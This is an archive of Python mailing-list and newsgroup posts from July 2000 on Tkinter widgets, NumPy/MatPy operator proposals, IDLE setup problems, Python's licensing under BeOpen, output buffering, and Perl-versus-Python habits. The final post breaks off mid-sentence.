References: <07ga5.11385$BS1.314666@brie.direct.ca>
Message-ID: <j6jjms4ev3tok760njkhk550nd78rpn1oa@4ax.com>

On Mon, 10 Jul 2000 02:06:38 -0700, "Fanny Yeung" <fannyy at idmail.com>
wrote:

>Hi everybody,
>
>I am reading "Python and Tkinter Programming" and I am thinking of writing a
>simple database application that need to show table of data ( something
>similar to grid control in VB or Jtable in Swing). I guess I can use Canvas
>to implement that but I wonder anyone have implement this already ? If yes,
>can I use it ? Or is there by any chance provided by Tkinter directly or
>indirectly ?
>
Doug Hellmann's contributed extras to Pmw include a simple grid widget
for displaying a sequence collection. It probably won't do all you
want, but is a starting point for deriving your own.

--
Martin Rand
Highfield Software Ltd
mwr at highfield-software.co.uk
Phone: +44 (0)23 8025 2445
Fax:   +44 (0)23 8025 2445


From thiele at muc.das-werk.de  Tue Jul 18 12:21:36 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Tue, 18 Jul 2000 18:21:36 +0200
Subject: interned names: memory leak
Message-ID: <39748410.D0EEFFEA@muc.das-werk.de>

Normally, the names used in Python programs are
automatically interned, and the dictionaries used to hold
module, class or instance attributes have interned keys.
Interned strings are immortal (i.e. never get garbage
collected).

So far, so godawful. Really!

(I couldn't fix my memory leak yet, althought I wrote my own pickle.:-(
)

But how can I get the whole interned name?

And when a string becomes a name?




From claird at starbase.neosoft.com  Sat Jul 22 09:48:13 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 22 Jul 2000 08:48:13 -0500
Subject: Newbie pythoner, with bizzare problem
References: <8F79257Amilenkomoonshinecouk@194.73.73.116> <m33dl2o39d.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <66BC56277B82FC67.B3EED2DD79D7AFED.2311A1AB38DBA14A@lp.airnews.net>

In article <m33dl2o39d.fsf at atrus.jesus.cam.ac.uk>,
Michael Hudson  <mwh21 at cam.ac.uk> wrote:
>milenko at moonshine.co.uk (Jack) writes:
>
>> Hey there, 
>> 
>> im pretty new to using python, and im just experimenting with file access, 
>> a wrote a script that works fine, and then all of a sudden it started 
>> throwing up this error:
>> 
>> inp = open("c:/autoexec.bat",'r')
>> TypeError: illegal argument type for built-in operation
>> 
>> it was working fine before, and i dont see anything unusual in the syntax.
>> 
>> Any help would be appreciated,
>
>5 gets you 7 that you have added a 
>
>from os import *
>
>to your script.
>
>Don't do that.
			.
			.
			.
I'd be willing to raise the odds on that bet.

You're also right that
  from os import *
is, of course, universally deprecated.

What surprises me, though, is that no one ever
mentions the possibility of writing
  inp = __builtin__.open("c:/autoexec.bat",'r')
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From mark.w.daley at intel.com  Mon Jul 31 18:30:38 2000
From: mark.w.daley at intel.com (Daley, Mark W)
Date: Mon, 31 Jul 2000 15:30:38 -0700
Subject: Convoluted question
Message-ID: <75F7304BB41CD411B06600A0C98414FCB3682D@ORSMSX54>

I am a little frustrated by this situation.  I have written some code to
take an indeterminate number of server names to create a column of check
buttons:

from Tkinter import *
import dbi, odbc, time, os, sys, Pmw

servername = ['Server1', 'Server2', 'Server3', ..., 'Servern']


for item in range(len(servername)):
	b1 = Checkbutton(root, text = servername[item], variable = var)
	b1.grid(row = item, column = 0, sticky = W)


I am at a loss for how to differentiate the variable names in the loop.  One
suggestion was to use a dictionary, although there were no details involved
in that suggestion.  Another was to do something like this (pseudocode,
thank you, Michal):

btnLst = []
for x in range(whatever):
   newBtn = SomeButton() # just create the widget
   btnValue =  SomeValue() # read from a list, maybe?
   newBtn.pack() # or whatever to get it on the screen
   list.append((newBtn,btnValue)

and later on:

for button in btnLst:
    if button.isChecked:
        DoWhatever()

I attempted to use a list of variable names to be assigned as needed when
creating the checkbuttons, but I keep getting NameErrors when I go to print
the values:

servername = ['Server1', 'Server2', 'Server3', ..., 'Servern']
varlist = ['var0', 'var1', 'var2', ..., 'varn']

for item in range(len(servername)):
	b1 = Checkbutton(root, text = servername[item], variable =
varlist[item])
	b1.grid(row = item, column = 0, sticky = W)

Exception in Tkinter callback
Traceback (innermost last):
  File "C:\Program Files\Python\Lib\lib-tk\Tkinter.py", line 764, in
__call__
    return apply(self.func, args)
  File "C:\PYTHON\gui.py", line 14, in showvalues
    print var0
NameError: var0

I think this comes from the fact that I didn't define the names in varlist
as variables.  It seems to me that there should be an easy way to assign
variable names for each check button in an automated way, and an easy way to
return the status of a check button.  I haven't found either after almost a
full day of coding and poring over different texts, such as 'Python
Essential Reference' and 'Python and Tkinter Programming'.  Is what I want
possible, or do I have to use what seems to me to be a more 'brute force'
method?

TIA

- Mark
----------------------------------------------
The opinions expressed are mine, and are not necessarily those of my
employer.





From hzhu at localhost.localdomain  Tue Jul 18 18:44:25 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Tue, 18 Jul 2000 22:44:25 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
References: <3bRZA8$jD_@openbazaar.net> <Pine.LNX.4.10.10007181042030.5733-100000@us2.mayo.edu>
Message-ID: <slrn8n9nl2.so.hzhu@rock.localdomain>

On Tue, 18 Jul 2000 11:08:57 -0500, Travis Oliphant <olipt at mayo.edu> wrote:
>
>I think I'll chime in here.  I have been greatly enjoying this discussion.
>I have been an active participant in Numerical Python development and have
>been advocating it's use over Matlab to anyone who will listen for over a
>year.  This recent excitement is encouraging as I've seen the potential
>for Python to replace Matlab for some time.  Before, my thesis writing
>picked up I spent quite a bit of time working on improving the number of
>"toolboxes" available for Python --- a project I intend to continue as
>soon as my dissertation gets written since I plan on using Python in the
>electrical engineering classes I teach at University this winter.

Hi, Travis,

First let me say I admire your work greatly.  You and all the NumPy
developers have done tramendously wonderful work.  (And I stole a little
glory with a wrapper package MatPy.)

The reason I started the MatPy project was simply that to me a simple linear
algebra interface is more convenient than a multiarray interface. There are
surely people whose work lead to the opposite preference.  In fact, as
everyone finds out sooner or later, both notations are equally important.  I
think that is the reason why there is a Matrix class in NumPy and there are
elementwise operations in MatPy.  (And partly why we are having this
discussion).  MatPy is not concentrated to 2d matrix only, as there is also
a rudimentary tensor class.  The main thing is that the standard operators
stand for (multi-)linear algebra instead elementwise operations.

I agree there need to be better coordination between the two projects. At
the moment MatPy is still in its initial growth period.  I do see the merit
of either letting the standard operators take matrix or elementwise flavor.
Had python provided a larger supply of operators there may not need to be
two packages, because choosing * or @* as primary is not a big deal.  Now we
are forced to choose between

either    a*b.__dotmul__(c)
or        matrixmultipy(a,b)*c

and it makes sense to different people to use either package as primary
tools.  Because of the conciseness of linear algebra it is very difficult to
switch operators in working code.  So I foresee both packages to coexist for
a long time.

One way to enhance the coordination might be to first standardize the method
definitions as

.mmul
.emul

which are then hooked to either

.__mul__
.__dotmul__
.__atmul__

If NumP adds @ operators for matrix and MatPy adds the . operator for
elementwise, non of the existing code would break.  That is
          element      matrix
NumPy        *           @*
MatPy        .*          *

We can also start adopting common names for various functions whenever
possible.   When everyone's code standardizes on these notations, it would
be much easier to switch to one standard notation if it is so desired.

I for one would really like to see NumPy getting into the core.  It will
remove a big barrier for a lot of people who would have otherwise used it
but for the (perceived) difficulty of installing an additional package.
Of course it will also remove a barrier for people installing MatPy.  :-)

I understand your concern that adding additional operators might hinder the
acceptance by core developers.  I am encouraged by the recent discussion of
the idea that it might be possible for a module to define its own operators.
Before that happens, one can always write code in the more verbose notation
so that it is guaranteed to work with standard python.  The magic methods
could be defined so that those who can patch the source code could use the
new symbols.

I have not yet taken a look at numpy2, but from you description it sounds
numpy2 would bring us more to the table.  I encourage everyone who care and
who can to give it a look and hopefully join the development.  For a
foreseeable future matpy will be a wrapper around numpy.

Gregory had expressed the idea that both numpy and matpy use the same set of
symbols when his patch is released.  I'm not against this idea but I don't
see any feasible way to deal with existing code except via above route.


Huaiyu

-- 
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net 


From sabren at manifestation.com  Mon Jul 31 16:03:38 2000
From: sabren at manifestation.com (Michal Wallace)
Date: Mon, 31 Jul 2000 16:03:38 -0400 (EDT)
Subject: Dynamic variables
In-Reply-To: <75F7304BB41CD411B06600A0C98414FCB3682C@ORSMSX54>
Message-ID: <Pine.BSF.4.10.10007311552480.3208-100000@chi.pair.com>

On Mon, 31 Jul 2000, Daley, Mark W wrote:

> Does anyone know of a way to create variables on the fly, like in a
> loop?  I want to be able to build a set of check buttons in a GUI
> I'm writing, and each check button needs a different variable, I
> think, to determine which ones are checked.  I want to use a for
> loop to iterate over a list to build the check buttons, but I don't
> know the contents or length of the list.  Any ideas?
 

The concept is called anonymous objects. In python, objects can have
more than one reference pointing to them. Some of those references
have names, or labels that you can see in the code. eg:

>>> x = SomeClass()

.. That creates a SomeClass instance and calls it "x". But
you can then say:

>>> y = [x]

.. And now y[0] references the same SomeClass instance. 
if you then say:

>>> x = None

.. y[0] is STILL REFERENCING the original SomeClass instance. 
It's just "anonymous" now because it doesn't have a specific
name. You could just as easily have said:

>>> y = [SomeClass()]

and if you want more than one:

>>> y = []
>>> for x in range(10):
...     y.append[SomeClass()]


Here's some psuedocode that might get you thinking:

>>> btnLst = []
>>> for x in range(whatever):
...    newBtn = SomeButton() # just create the widget
...    btnValue =  SomeValue() # read from a list, maybe?
...    newBtn.pack() # or whatever to get it on the screen
...    list.append((newBtn,btnValue)


and later on:

>>> for button in btnLst:
...     if button.isChecked:
...         DoWhatever()


Cheers,

- Michal
------------------------------------------------------------------------
www.manifestation.com  www.sabren.com  www.linkwatcher.com  www.zike.net
------------------------------------------------------------------------




From olivierS.dagenaisP at canadaA.comM  Sun Jul 23 22:05:17 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Mon, 24 Jul 2000 02:05:17 GMT
Subject: IDLE window disappears - more info
References: <397A3EEA.792BDDEB@helicon.net> <1use5.617$Gh.13635@news20.bellglobal.com> <397AFD92.7F17FFD1@helicon.net> <397B0D93.6A5EE7CB@helicon.net> <rcIe5.9147$Gh.74143@news20.bellglobal.com> <8lfq6o$g07$1@nnrp1.deja.com> <397B96EE.9C62A45F@helicon.net>
Message-ID: <xvNe5.11473$Gh.110433@news20.bellglobal.com>

In order to avoid having a window flash like that, you will have to use a
DOS prompt and invoke your scripts from the command line like so:

C:\Your\Dir\Here>python hello.py

...then, if there is something totally wrong that prevents programs from
running, you'll know about it.

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Rodney Loisel" <rloisel at helicon.net> wrote in message
news:397B96EE.9C62A45F at helicon.net...
> There is a _tkinter.pyd in the Python\dll\ but there is no Tk directory.
Why
>
> would there be no Tk directory if Python seems to depend on it so much?
> All I can do with this program is 'run Python' or select it from the start
> menu
> and I get a generic dos shell with  a >>> prompt an no shell features.
> Clicking
> on any *.py icon just opens and quickly closes a window before I can read
> what's in it. I downloaded the program thru the Python web site and
> installed
> it by their instructions. Looks like I've wasted 25.00 on my new "Teach
> yourself Python" book...
> rloisel
>
> Sam Schulenburg wrote:
>
> > Usually the problem is IDLE can not find the Tk dll's. My solution has
> > been to copy the Dll's from the Tk\bin directory to the Python\DLL
> > directory.
> >
> > Sam Schulenburg
> >
> > In article <rcIe5.9147$Gh.74143 at news20.bellglobal.com>,
> >   "Olivier Dagenais" <olivierS.dagenaisP at canadaA.comM> wrote:
> > > The Python binary might be in your path, but maybe the libraries
> > aren't?
> > >
> > > --
> > > ----------------------------------------------------------------------
> > > Olivier A. Dagenais - Carleton University - Computer Science III
> > >
> > > "Rodney Loisel" <rloisel at helicon.net> wrote in message
> > > news:397B0D93.6A5EE7CB at helicon.net...
> > > > Changed the DOS properties not to close on exit
> > > > the following is the result of
> > > > import Tkinter
> > > > several levels of error
> > > > last:
> > > > DLL load failed: one of the library files
> > > > needed to run this application cannot be
> > > > found.
> > > > rloisel
> > > >
> > >
> > >
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.
>




From michael at stroeder.com  Fri Jul 28 12:46:25 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=F6der?=)
Date: Fri, 28 Jul 2000 18:46:25 +0200
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <slrn8nv0l4.mqi.grey@teleute.rpglink.com> <cp3dkwl2ia.fsf@cj20424-a.reston1.va.home.com> <slrn8o0m0c.qhk.grey@teleute.rpglink.com> <39807595.D6F543E9@netscape.net.remove> <FMsgUTBHBIg5Ew9s@jessikat.fsnet.co.uk> <39808d84.23819726@news-server.austin.rr.com>
Message-ID: <3981B8E1.6F55A6FC@stroeder.com>

jay graves wrote:
> 
> Q: How do you keep a lawyer from drowning?
> 
> A: Take your foot off his neck.

Q: What are 1000 lawyers at the bottom of the ocean?

A: A good start.

(A lawyer told me this joke.)

Ciao, Michael.


From hzhu at knowledgetrack.com  Fri Jul 21 19:44:07 2000
From: hzhu at knowledgetrack.com (Huaiyu Zhu)
Date: Fri, 21 Jul 2000 23:44:07 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <39771CA8.A1BF8D6E@fft.be> <y$M38JArNyd5EwxV@jessikat.fsnet.co.uk> <slrn8nefig.rb.hzhu@localhost.localdomain> <j5dTthAvW0d5EwzV@jessikat.fsnet.co.uk>
Message-ID: <slrn8nho9c.qn.hzhu@rocket.knowledgetrack.com>

On Thu, 20 Jul 2000 19:32:15 +0100, Robin Becker
<robin at jessikat.fsnet.co.uk> wrote: 
>In article <slrn8nefig.rb.hzhu at localhost.localdomain>, Huaiyu Zhu
><hzhu at localhost.localdomain> writes
>>
>>In matlab/octave, this is called kron(A,B).  I don't think it deserves an
>>infix operators, because it is just a special case of matrix multiplication.
>>You can define a sparse matrix Kron(A) so that
>>
>>kron(A,B) == Kron(A)*B
>
>I'd be interested in how you define either Kron and * to achieve the
>result you claim without modifying the p x r matrix B; after all it
>cannot involve sums of elements of B so * isn't the matrix multiply. I
>could use an element wise multiply, but only if I use the end desired
>shape as the second element.

Oops.  You are right.   B has to change as well.  It is 

kron(A,B) == kron(A,I1) * kron(I2,B)

where I1, I2 are identity matrices which, in fact, depend on the dimensions
of the other.  In matlab notation I1=eye(size(B,1)), I2=eye(size(A,2)).

So it involes expanding the dimension of both operator according to the
dimension of the other operator and then compose them. 

Huaiyu


From guido at beopen.com  Mon Jul 31 11:39:00 2000
From: guido at beopen.com (Guido van Rossum)
Date: Mon, 31 Jul 2000 15:39:00 GMT
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCOEBCGNAA.tim_one@email.msn.com> <398546C5.E9E59957@hursley.ibm.com>
Message-ID: <cpzomyckzb.fsf@cj20424-a.reston1.va.home.com>

Paul Duffin <pduffin at hursley.ibm.com> writes:

> That sounds absolutely horrendous. Tcl is also going through some major 
> changes in its development process to make it more Open Source but it is 
> nowhere near as painful as what seems to be happening to Python. I hope
> that you get it resolved as quickly as possible.

Actually, Tcl is struggling with the development process.  Python's
development process is already where Tcl wants to go, and that's not
in danger.

> Who will hold the license on Python 2.0 ? 
> 
> Is it going to be BeOpen ?
> 
> Could the license be held by the community in some way to prevent this
> sort of legal wrangling in future ?
> 
> How about having a concept of stewardship, i.e. BeOpen is the current
> steward of Python on behalf of the community. 
> 
> By Python I mean all Python related resources that BeOpen manage, so 
> this would include all information on the web site, the domain name, etc. 
> 
> If BeOpen could no longer support Python for whatever reason then those 
> resources would be turned over to the community and they could then look 
> for a new steward for Python.
> 
> The community would also have the option to choose a new steward for 
> Python if they felt that BeOpen was not supporting Python properly or
> someone else could support it better.
> 
> This would have to be a legal contract so for instance if BeOpen was
> taken over, or went bankrupt Python could not be sold off to the highest
> bidder.
> 
> The biggest problem with this is determining what the will of the 
> community is.

I an committed to represent the community in these matters to BeOpen.
I hope that you continue to trust me to represent the community in
these matters!

I am (with Tim Peters's much appreciated help, actually!)  working on
the creation of a legally binding agreement with BeOpen that ensures
Python's status as Open Source software.  We've already hired an
open-source-friendly law firm to help us with this.  An important part
of this agreement will be to ensure that the right thing happens upon
takeover, bankruptcy or any other Big Event in the life of a
corporation, and also to ensure that I and my colleagues at PythonLabs
will be able to continue to work on Python even if we quit or lose our
BeOpen jobs.

Let me know if you have specific concerns!

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From hzhu at localhost.localdomain  Thu Jul 13 17:46:56 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Thu, 13 Jul 2000 21:46:56 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <m37laqr0v6.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <slrn8msed5.sj.hzhu@localhost.localdomain>

On 13 Jul 2000 07:38:21 +0100, Michael Hudson <mwh21 at cam.ac.uk> wrote:
> 
>> 2. It is difficult to add .* and ./ as . is already a valid token.  
>
>Irrespective of the rest of this post, this is not true.  "**" is a
>valid token depsite "*" being one, etc.
>

Oh, this is good news. I did not quite believe that either, but after being
told of this several times ...

Any way, if the dot can be used then we definitely would use it, which sort
of determines the choice to be matlab compatibility.  The only ambiguity
would be expressions like 3./a, which should be 3. / a, as long as we let
the parser bind dot closer to the left whenever possible.  Existing code
will not break since the new operator exists entirely within the area of
current "invalid syntax".

What is still left out is a\b, though.

Huaiyu


From db3l at fitlinxx.com  Fri Jul 28 20:49:20 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 28 Jul 2000 20:49:20 -0400
Subject: Perl is worse!
References: <slrn8o25nr.e7.grey@teleute.rpglink.com> <8lsdir$aja$1@plutonium.compulink.co.uk> <slrn8o3fei.49c.grey@teleute.rpglink.com> <u3dku59ni.fsf@ctwd0143.fitlinxx.com> <slrn8o3tio.49c.grey@teleute.rpglink.com>
Message-ID: <uwvi54v73.fsf@ctwd0143.fitlinxx.com>

grey at despair.rpglink.com (Steve Lamb) writes:

> On 28 Jul 2000 15:37:05 -0400, David Bolen <db3l at fitlinxx.com> wrote:
> >In the case here it seems as if you don't really want to define the
> >name and associate it with nothing, you want to define the name and
> >associate it with an object that will support being appended to.  In
> 
>     Will this work if the decision is to make it a string, not a list?

If your requirement is to have your label reference an object that
supports an ".append" (in-place appending) method then no, as Python
strings do not support that method (strings are immutable, although a
new string may be formed by concatenating two strings).

But that's actually quite consistent in terms of design, because the
root question still remains identifying the appropriate objects to be
working with.  In effect, a Python "string" object does not fit your
"interface" requirements.  In this case your interface requirements
appear to be sequence based, since you want a mutable sequence that
you can append to (in Python, a "list").  Note of course, that you
could certainly use strings in this sequence, and at any point produce
a single string representing all of the entries from the list.

I think in this respect you'll find Python much more object oriented
than Perl, at sort of a basic level.  I think this also ties into the
other discussion in this thread of Perl having operators that control
the type interpretation, whereas Python strongly types the objects
themselves.

In the example in this mini-thread, I think a perspective shift
between a Perl approach and a Python approach is indicated in how you
tried to form the example.   You first considered obtaining some
storage and then manipulating/converting that storage into what you
wanted via operations.  But in Python, it's the type of object that
you use that controls what you can do with it (its interface) and not
the other way around, so development becomes more focused (and more
clean, IMO) on building an object model of what you are doing.  There
are, of course, ways to create a new object out of data from another
object (e.g., produce a list representing the individual sequence of
characters in a string), but that yields a new object with a new
interface and doesn't actually do any "conversion" on the old object.

I realize it was probably just to highlight a specific issue, but even
choosing such an example is interesting, since arbitrary object
conversions (e.g., something to a list) don't tend to happen with high
frequency in Python programs, since it was the object model and data
types that were most likely involved in the design.

It's really easy to gloss over this with the basic object types since
in many respects they behave much as other languages in common sorts
of operations, but it can lead to confusion when the simpler view
starts to break down.  I don't know that this explains all that much
discussed in this thread, but there have been various points where I
think it's just an issue of the Perl and Python approaches being quite
different under the covers even though they may appear very close
superficially.  Getting past that mental hurdle (as far as
understanding, not putting any good/bad slant on it) might
significantly shrink your current store of Python behaviors you
consider "quirks".

> >(Oh, and as an aside - this is an impressive thread - even with the
> >few warts, I think there's useful information going on)
> 
>     Agreed.  I know I'm prolly coming off as a newbie troll but I am learning
> things and I really do mean it when I say I don't want to see the language
> changed, just expressing an opinion.

Well, besides being impressed that you're keeping it up this long, and
without trying to sound condescending, I'm enjoying seeing how your
examples are exposing what learned traits/visualizations from using
Perl so much.  I hope that you still give Python some time and
experimentation, as you may find yourself forming new opinions :-)

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From kelley at bioreason.com  Mon Jul 24 05:18:37 2000
From: kelley at bioreason.com (Brian Kelley)
Date: Mon, 24 Jul 2000 10:18:37 +0100
Subject: Graphs - I need more graphs ( Simulation development )
References: <397a5658.88821067@news.online.no> <397AC68B.A07CAB3@ibm.net>
Message-ID: <397C09ED.74CD0166@bioreason.com>

You might also want to look at kjGraph in the kjbuckets package.  There is
one (slightly slow) version of the shortest path algorithm and I have found
the data structures to be quite useful.  Search the Vaults of Parnassus
http://www.vex.net/parnassus/

--
Brian Kelley          Bioreason, Inc
505 995-8188 ext 207  150 Washington St Suite 303
kelley at bioreason.com  Santa Fe, NM, 87501




From mwh21 at cam.ac.uk  Wed Jul 19 18:54:52 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 19 Jul 2000 23:54:52 +0100
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007181420000.9411-100000@rock.localdomain> <39751596.45921F07@prescod.net>
Message-ID: <m31z0ppw77.fsf@atrus.jesus.cam.ac.uk>

dipping in and out of this thread...

Paul Prescod <paul at prescod.net> writes:

> Parsers just do not work that way. Most parsers cannot be extended at
> runtime. The language is defined at compile time by the grammar. The
> only way to do it without rewriting Python's parser from scratch would
> be to pre-declare every possible operator anyone might ever want in the
> grammar.

What Haskell does is to declare that any sequence of characters from
the set [!+-*/$=%] (I think) to be an operator, much the same way as
any sequance of characters from [a-zA-Z_0-9] (ish) is a token in
Python today.

Still don't think runtime syntax extension is a good idea, but
unfortunately we can't claim that it's impossible.

Cheers,
M.
(who's just given half a second's thought to how much effort it would
be to get Python's current lexer/parser to work in the above model and
now has to sleep it off)

-- 
  I have gathered a posie of other men's flowers, and nothing but the
  thread that binds them is my own.                       -- Montaigne


From neilh at scintilla.org  Thu Jul 20 02:55:30 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Thu, 20 Jul 2000 06:55:30 GMT
Subject: emacs keybindings in pythonwin
References: <8l4jv0$t61$1@news.kth.se>
Message-ID: <Cnxd5.7028$4p3.49993@news-server.bigpond.net.au>

> PythonWin allows you to customize keyboard bindings.
> The example file show how to set
> Ctrl+Q          to  AppExit
> and some other things.
>
> But what if I wanted to set it to Ctrl-x Ctrl-c

   AFAIK (Mark and possibly Tim are better authorities for this) PythonWin
has no way of binding multiple keystroke sequences to commands. There is the
built-in-to-Windows Alt sequences to access menus but you won't be able to
use Ctrl-x to start that off.

   Neil




From aek at aek.dk  Fri Jul 14 21:33:55 2000
From: aek at aek.dk (Anders Eggers-Krag)
Date: Sat, 15 Jul 2000 03:33:55 +0200
Subject: Why make a language case sensitive?
References: <000801bfeda1$fcd99a20$6cb745c6@timaratz>
Message-ID: <jbPb5.1245$bb.28195@news101.telia.com>

I would say that it improves syntax consequense, leading to more readable
code
for others, you are never in doubt about what to look for when looking for a
keyword,

in VB you might look for IF, If or if, and they look very different, and it
becomes a lot harder
to read somebody elses code.

the case insensitivity is nice when I am the only one to read my code as I
could then choose my
own obscure notation such as mYmetOd() and keep it consequent writing dEf,
claSs, If eTc.
wheras case sensitivity makes it more natural to keep a more sensitive
manner such as myMethod()
MyMethod() or my_method() throughout that everyone can agree on, I believe
that case sensitivity
leads to more uniform code, that again makes it easier to read your
collegues code. And i think it should
seem natural to everyone, after all books are written in case sensitive...
you can't write: "i Am the wisEst
One of aLl." and be taken seriously

But it depends on which kind of access is needed to the system ie it would
be dreadfull if DNS
or SMTP servers were case sensitive and  user enters MicroSoft.com and gets
nowhere because
he should have written microsoft.com.


--
Anders Eggers - Krag


"Peter Timaratz" <timaratz at lisco.com> wrote in message
news:000801bfeda1$fcd99a20$6cb745c6 at timaratz...
> I can't think of any advantages to a case sensitive language. Python is a
> very well-designed language though, so I imagine there is a good reason
that
> it is case sensitive. So what are the advantages of a case sensitive
> language?
>
>




From alex at magenta.com  Wed Jul 26 08:46:01 2000
From: alex at magenta.com (Alex Martelli)
Date: Wed, 26 Jul 2000 14:46:01 +0200
Subject: reading stdout from child
References: <397ECD5D.409A6819@muc.das-werk.de>
Message-ID: <8lmmom02r7l@news1.newsguy.com>

"Thomas Thiele" <thiele at muc.das-werk.de> wrote in message
news:397ECD5D.409A6819 at muc.das-werk.de...
    [snip]
You may be running into *buffering* problems.  Python, like most languages,
will, by default, *buffer* its output when it is directed to a file (or
pipe); i.e.,
each 'written' datum is actually only added to a memory 'buffer', and the
whole
buffer gets _really_ written out, in one go, when it's filling up, or when
the file
is closed, or when the program is terminating.  This is really crucial to
enhance
program performance, but it does sometimes interfere with programs that
want to read each other's output.

Fortunately, Python gives you the easiest way to defeat output buffering, of
any language I know of: just use the -u switch (option) on the command line.
I.e., instead of
    python something.py
run
    python -u something.py
and all output will become unbuffered.  See if it works this way: it's a
very
cheap and easy experiment!  If it does work, then this confirms it's a
buffering
problem.  You can then, if you wish, attack it more directly (without having
to completely disable the buffering functionality) by explicitly *flushing*
the
output-streams at strategical points in your program -- this "flushing" will
cause
the memory-buffer to be truly "written out" as and when you request that.


Alex





From grey at despair.rpglink.com  Fri Jul 28 19:02:52 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 23:02:52 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <8lst4r02grr@news2.newsguy.com>
Message-ID: <slrn8o444p.49c.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 23:09:56 +0200, Alex Martelli <alex at magenta.com> wrote:
>I hope you remember that in Python there's no need for the joining
>and later re-splitting: just putting the pair (tuple) in there is
>so much easier and more natural.

    No.  I am learning that.  A plesant side effect of this excellent
discussion.

>Among other things, it makes it easy to save/load/change a format-string;

    Nono, you misunderstand me.  I prefer the Pascal notion of variables in
place in the string with formatting attached to it instead of placeholder
formatting strings with the variables hanging off the end of the string.
Pseudo code from no language, bear with me.

"Here is a string with ",$a:d:0:0," variable in it."

"Here is a string with %d:0:0 variable in it.",$a

    In the former I read and I see, "Oh, $a goes here with this formatting"
whereas in the latter it is "Oh, here is the formatting for...  uhm.. $a."

    Again, simplistic and not in any language, but taken to the extreme you
can see the problem.

"%d:0:0 %c:U %s %s %s %s %d %s %s %s \
%d:0:0!",$a,$b,$c,$d,$e,$f,$g,$h,$i,$j,$k

    What variable goes with what again?

>You just don't have to put strings together, to split them up again later, as
>much as is usual in Perl (it was _mandatory_ in Perl 4, which had no rich
>data structures; it's still _popular_ in Perl 5, for various reasons).

   Simplicity.

>Why else would I have been so happy, so utterly happy, to leave 8 years of
>Perl experience behind and start over from scratch with Python?

    Masochism?  :)

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From Vladimir.Marangozov at inrialpes.fr  Wed Jul 12 20:24:35 2000
From: Vladimir.Marangozov at inrialpes.fr (Vladimir Marangozov)
Date: Thu, 13 Jul 2000 02:24:35 +0200
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk>
Message-ID: <396D0C43.6438C43F@inrialpes.fr>

Richard Tobin wrote:
> 
> Is it legal (it seems to work) to change the class of an object by
> assigning to its __class__ attribute?  In particular for the case where
> the new class is a subclass of the old.
> 
> I'm not looking for an argument (not even the five minute one) about
> whether it's a good idea, just whether it's legal.

Yes, it's perfectly legal. However, as the other replies are trying to
warn you, it is assumed that you know perfectly what this means.

Whenever an instance changes its __class__ from A to B, the instance
may change almost all of its properties, except its id and local instance
variables. IOW, it may change completely its behavior, for instance when
A and B have nothing in common. It's like moving from UK to Japan by
keeping your pounds in your pocket.

which-is-perfectly-legal-too'ly y'rs
-- 
       Vladimir MARANGOZOV          | Vladimir.Marangozov at inrialpes.fr
http://sirac.inrialpes.fr/~marangoz | tel:(+33-4)76615277 fax:76615252


From rgparker at west.net.bbs  Mon Jul 17 21:10:01 2000
From: rgparker at west.net.bbs (rgparker at west.net.bbs)
Date: 18 Jul 2000 01:10:01 GMT
Subject: Could someone clone MS's IL for another OS?
Message-ID: <3bRVdP$jyB@openbazaar.net>

Could someone write a clone of MS's new intermediate compiler language to
native code compiler in order to write Perl, Python, or Eiffel on
Windows, compile it to IL, and then eventually native code compile it on
some other OS platform?

Does anyone think such a capability is a good idea?

Does anyone think that someone will do this?


From rgparker at west.net  Sun Jul  9 20:26:11 2000
From: rgparker at west.net (Randall Parker)
Date: Mon, 10 Jul 2000 00:26:11 GMT
Subject: Run Python as separate process with Apache?
Message-ID: <MPG.13d2b8edd0e53f1598981d@news.onlynews.com>

I've done a lot with Java servlets using Apache connected to Tomcat where 
Tomcat runs as a single persistent process that gets all requests meant 
for it. I am wondering if that same approach can be done with Python.

With Java servlets since the process that handles all servlets is 
